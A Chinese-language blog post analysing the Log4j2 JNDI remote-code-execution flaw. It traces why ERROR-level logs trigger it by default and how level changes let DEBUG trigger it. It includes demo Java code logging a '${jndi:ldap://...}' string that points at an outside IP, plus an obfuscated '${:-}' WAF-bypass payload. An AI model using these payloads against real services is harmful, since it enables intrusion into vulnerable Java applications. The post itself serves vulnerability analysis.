log4j2 rce幾個疑惑點解惑

  log4j2火爆全網,這裏抽空簡單分析下,幾個疑惑點的解答

  log4j2這波屬於官方自爆:

  https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup

  官方文檔lookup使用:

  

 

 稍微學過一點ldap注入的都會嘗試下ldap://,哈哈哈,開個玩笑~

 漏洞本質原因是jndi:分支最後走到了lookup:

 當打印log的時候,輸入的變量會被lookup污染

 /org/apache/logging/log4j/log4j-core/2.12.1/log4j-core-2.12.1.jar!/org/apache/logging/log4j/core/net/JndiManager.class

  

 

   漏洞原理沒啥好講的,一步步跟代碼又臭又長. 

  先演示漏洞效果:

  測試demo:

  

package com.test;

import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class test {
    private static final Logger LOGGER = LogManager.getLogger(test.class.getName());

    public static void main(String[] args)
    {
        String input = "${jndi:ldap://119.45.227.86:1234}";
        LOGGER.error(input);
    }
}

  運行代碼:

  

 

   

發現vps上接收到本地發送的請求,這裏不演示漏洞利用rce,點到爲止,至此,漏洞利用演示完成

幾個疑惑點解惑

log4j只能error執行命令解釋

網傳只有error等級可以觸發ldap注入,而.info/debug等日誌等級無法觸發,這是爲什麼呢?我沒看到網上有人分析,這裏簡單過一下

首先error處打斷點:

  

 

 

  統一使用step into去跟函數:

  

 

 

  

繼續往下跟,這是關鍵:

  

public void logIfEnabled(final String fqcn, final Level level, final Marker marker, final String message, final Throwable throwable) {
        if (this.isEnabled(level, marker, message, throwable)) {
            this.logMessage(fqcn, level, marker, message, throwable);
        }

    }

  

  

 if (this.isEnabled(level, marker, message, throwable)) {

   跟進isEnabled函數:

  

 

 

  繼續往下跟:

  

boolean filter(final Level level, final Marker marker, final String msg, final Throwable t) {
    Filter filter = this.config.getFilter();
    if (filter != null) {
        Result r = filter.filter(this.logger, level, marker, msg, t);
        if (r != Result.NEUTRAL) {
            return r == Result.ACCEPT;
        }
    }

    return level != null && this.intLevel >= level.intLevel();
}

 

  其中的關鍵點在於最後的判斷:

  

return level != null && this.intLevel >= level.intLevel();

   首選判斷等級不能爲空,並且當前等級要大於等級設置的等級

 

 

可以發現當前的等級是200,我們調用的error等級也是200,所以滿足條件,返回true

 

 

對於滿足條件的,進logMessage

通過上面的調試,我們知道了error對應的等級數值是200

查看log4j2文檔,我們找到了相關的說明:

 

 

  默認this.intLevel爲200,那麼滿足條件的有ERROR/FOTAL,測試一把:

  

 

 

 

    演示兩個成功的以後,演示失敗的,修改等級爲debug:

  

 

 發現我們的intLevel還是200,而error級別是500了,很明顯不符合條件,最終返回false

  

 

 

  直接跳出了if判斷

  

 

 

  

讓debug也可以觸發很簡單,只要修改privateConfig中的intLevel的值,當intLevel>=500即可觸發

這邊嘗試修改配置文件,是不行的,得動態修改,修改自定義代碼如下:

  

package com.test;



import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.LoggerContext;

import java.util.Collection;
import java.util.Map;

public class test {
    private static final Logger LOGGER = LogManager.getLogger(test.class.getName());


    public static void main(String[] args)
    {
        Collection<org.apache.logging.log4j.core.Logger> current = LoggerContext.getContext(false).getLoggers();
        Collection<org.apache.logging.log4j.core.Logger> notcurrent = LoggerContext.getContext().getLoggers();
        Collection<org.apache.logging.log4j.core.Logger> allConfig = current;
        allConfig.addAll(notcurrent);
        for (org.apache.logging.log4j.core.Logger log:allConfig){
            log.setLevel(Level.DEBUG);
        };
        String input = "${jndi:ldap://119.45.227.86:1234}";
        LOGGER.debug(input);
    }
}

  再次運行代碼:

  

 

  debug跟一下:

  

 

 

  發現我們的this.intLevel是500,滿足條件

  結論:別的等級也可以觸發,需要動態設置等級,如果開發自定義了等級,即可在其他等級上觸發漏洞

  前面在漏洞產生原因處已經說明漏洞原因,現在直接在lookup處debug:

  /org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/net/JndiManager.class#86

 

   在error處debug:

  

 

 

  使用跳轉debug,跳轉到lookup:

  

 

 

  這一串利用鏈接,還是相當複雜的,source很難,sink很簡單.

  

lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
debug:327, AbstractLogger (org.apache.logging.log4j.spi)
main:27, test (com.test)

  又臭又長的分析不搞了,有興趣的可以自己跟進去看代碼.

  

 bypass waf payload語句解釋

  網上出了很多bypass waf變形payload,如下所示:

  

 

 

 

  

通用的問題,我就挑兩個出來講講,首先是upper和lower:

簡單說下原理:

先在這裏下斷點:

  /org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/StrSubstitutor.class

 

 

 往下跟跳:

  

 

  

手動點擊進入lookup函數:

/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/StrLookup.class

  

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.apache.logging.log4j.core.lookup;

import org.apache.logging.log4j.core.LogEvent;

public interface StrLookup {
    String CATEGORY = "Lookup";

    String lookup(String key);

    String lookup(LogEvent event, String key);
}

  通過idea查看接口實現類:

  

 

 

  

16個實現接口類,lower和upper看一個即可:

如果payload裏包含lower:

會走lower的lookup:

/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/LowerLookup.class

  

 

 

 

 

 

  

同理jndi走jndilookup的分支,upper走upperlookup的分支

那麼jndi走lookup

/Users/qixin01/.m2/repository/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/JndiLookup.class

 

 

  其中最不解的是${:-},這個bypass變種

  這裏多次debug發現問題在:

  /org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/StrSubstitutor.class

  

 

會根據:-分割,所以要包含:-

${:-}會被自動處理掉

我的測試payload:${j${:-}n${:-}d${:-}i${:-}:${:-}${123::-}${:-}${:-}${:-}${:-}${:-}d${::-}n${::-}s://v p s ip:53/

 

簡單分析了下,如果有錯誤,歡迎指出.  

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章